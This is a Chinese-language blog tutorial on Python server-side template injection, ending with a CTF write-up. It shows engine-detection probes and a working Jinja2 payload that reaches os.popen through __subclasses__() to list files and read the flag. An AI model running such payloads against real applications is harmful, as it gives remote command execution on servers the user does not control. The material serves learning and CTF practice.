Python模板注入

前置简介

SSTI的简单讲解

SSTI 全称Server Side Template Injection,服务器模板注入。模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。

服务器模板注入(Server-side template injection)是当攻击者能够用本地的模板语法去注入一个恶意的payload,然后再服务器端执行该模板的攻击手法。

为什么需要服务器模板

简单来说,页面上的数据需要不断更新,即为渲染。后台语言通过一些模板引擎生成HTML。

因为Web Application 最终是要落实到HTML、CSS、JavaScript等用户界面上的,有时每一个页面都需要特殊的逻辑,随着应用功能的增加,而且彼此之间没有同步,想要修改某一属性可能就要修改成百上千个HTML文件。

既然如此多的HTML具有一定的逻辑联系,何不使用代码生成代码?于是后端模板语言诞生了。分别有前端渲染和后端(服务器)渲染,区别是:

后端渲染是将一些模板规范语言翻译成如上三种语言回传给前端;而前端渲染则是将整个生成逻辑代码全部回传前端,再由客户端生成用户界面。

漏洞利用

寻找漏洞

文本类

大部分的模板语言支持我们输入 HTML,比如:

smarty=Hello {user.name}
Hello user1

freemarker=Hello ${username}
Hello newuser

any=<b>Hello</b>
<b>Hello<b>

未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下payload确认漏洞

smarty=Hello ${7*7}
Hello 49

freemarker=Hello ${7*7}
Hello 49

代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:

personal_greeting=username
Hello user01

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>

漏洞利用

一旦发现SSTI漏洞,下一步就是要确定模板引擎。

尽管有大量的模板语言,但是其中许多模板使用非常相似的语法,而这些语法是专门为不与HTML字符冲突而选择的。因此创建探测有效载荷以测试正在使用哪个模板引擎可能相对简单。

通常只需提交非法可报错的语法就足够了,因为产生的错误消息将准确告诉你模板引擎是什么,甚至是哪个版本。例如,非法表达式 **** 会触发来自基于Ruby的ERB引擎的以下响应:

(erb):1:in <main>': undefined local variable or method foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

有时需要手动测试特定于语言的不同有效负载,并研究模板引擎如何编译它们。常用的方法是使用来自不同模板引擎的语法注入任意数学运算。然后就可以观察它们是否被成功执行。

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

python Web 模板引擎

1.Jinja2

2.Tornado.template

3.Django.template

Tornado 中模板渲染函数在有两个:

1.render

2.render_string

Flask 中模板渲染函数也是有两个

1.render_template

2.render_template_string

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把双括号包裹的内容当做变量解析替换。

简而言之就是我们双括号包裹的内容被执行,那么我们可以利用这一点,调用python的类来实现目的。

题目

攻防世界web进阶Web_python_template_injection

构造paylaod发现模板注入:

使用如下命令打印所有文件:

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}

发现fl4g,将ls改为 cat fl4g即可


附部分指令:

class 返回类型所属的对象

mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base 返回该对象所继承的基类

basemro__都是用来寻找基类的

subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

init类的初始化方法

globals对包含函数全局变量的字典的引用

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇